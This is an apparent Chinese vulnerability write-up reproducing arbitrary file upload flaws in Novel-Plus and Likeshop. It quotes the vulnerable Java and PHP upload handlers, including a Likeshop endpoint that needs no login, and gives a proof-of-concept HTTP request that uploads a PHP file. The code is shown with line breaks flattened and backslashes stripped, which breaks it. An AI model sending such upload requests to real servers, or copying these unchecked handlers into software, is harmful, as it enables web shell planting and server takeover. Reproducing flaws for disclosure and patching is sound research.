浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程

java@ResponseBody    @PostMapping("/upload")    R upload(@RequestParam("file") MultipartFile file, HttpServletRequest request) {        if ("test".equals(getUsername())) {            return R.error(1, "演示系统不允许修改,完整体验请部署程序");        }        Date date = new Date();        String year = DateUtils.format(date, DateUtils.YEAR_PATTERN);        String month = DateUtils.format(date, DateUtils.MONTH_PATTERN);        String day = DateUtils.format(date, DateUtils.DAY_PATTERN);

        String fileName = file.getOriginalFilename();        String fileDir = year + "/" + month + "/" + day + "/";        fileName = FileUtil.renameToUUID(fileName);        FileDO sysFile = new FileDO(FileType.fileType(fileName), Constant.UPLOAD_FILES_PREFIX + fileDir + fileName,            date);        try {            FileUtil.uploadFile(file.getBytes(), jnConfig.getUploadPath() + fileDir, fileName);        } catch (Exception e) {            return R.error();        }

        if (sysFileService.save(sysFile) > 0) {            return R.ok().put("fileName", sysFile.getUrl());        }        return R.error();    }

POST /api/file/formimage HTTP/2Host: x.x.x.User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36Connection: closeContent-Length: 201Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwteiAccept-Encoding: gzip, deflate

------WebKitFormBoundarygcflwteiContent-Disposition: form-data; name="file";filename="test.php"Content-Type: application/x-php

This page has a vulnerability!------WebKitFormBoundarygcflwtei--

<?php

namespace appapicontroller;use appcommonserverFileServer;class File extends ApiBase{    public $like_not_need_login = ['formImage','test'];    /**     * showdoc     * @catalog 接口/上传文件     * @title form表单方式上传图片     * @description 图片上传     * @method post     * @url /file/formimage     * @return param name string 图片名称     * @return param url string 文件地址     * @remark     * @number 1     * @return {"code":1,"msg":"上传文件成功","data":{"url":"http://likeb2b2c.yixiangonline.com/uploads/images/user/20200810/3cb866f6bb30b7239d91582f7d9822d6.png","name":"2.png"},"show":0,"time":"0.283254","debug":{"request":{"get":[],"post":[],"header":{"content-length":"103132","content-type":"multipart/form-data; boundary=--------------------------206668736604428806173438","connection":"keep-alive","accept-encoding":"gzip, deflate, br","host":"www.likeb2b2c.com:20002","postman-token":"1f8aa4dd-f53c-4d12-98b4-8d901ac847db","cache-control":"no-cache","accept":"*/*","user-agent":"PostmanRuntime/7.26.2"}}}}     */    public function formImage()    {        $data = FileServer::userFormImage($this->user_id);        $this->_success($data['msg'], $data['data'], $data['code']);    }}

```php    public static function userFormImage($user_id = 0, $save_dir='uploads/user'){        try {            $config = [                'default' => ConfigServer::get('storage', 'default', 'local'),                'engine'  => ConfigServer::get('storage_engine')            ];

            if (empty($config['engine']['local'])) {                $config['engine']['local'] = [];            }

            $StorageDriver = new StorageDriver($config);            $StorageDriver->setUploadFile('file');

            if (!$StorageDriver->upload($save_dir)) {                throw new Exception('图片上传失败' . $StorageDriver->getError());            }

            // 图片上传路径            $fileName = $StorageDriver->getFileName();            // 图片信息            $fileInfo = $StorageDriver->getFileInfo();

            // 记录图片信息            $data = [                'user_id'     => $user_id ? $user_id : 0,                'name'        => $fileInfo['name'],                'type'        => File::type_image,                'uri'         => $save_dir . '/' . str_replace("\","/", $fileName),                'create_time' => time(),            ];            Db::name('user_file')->insert($data);

            $result['url'] = UrlServer::getFileUrl($data['uri']);            $result['base_url'] = $data['uri'];            $result['name'] = $data['name'];

            return self::dataSuccess('上传文件成功', $result);

        } catch (Exception $e) {            $message = lang($e->getMessage()) ?? $e->getMessage();            return self::dataError('上传文件失败:' . $message);        }    }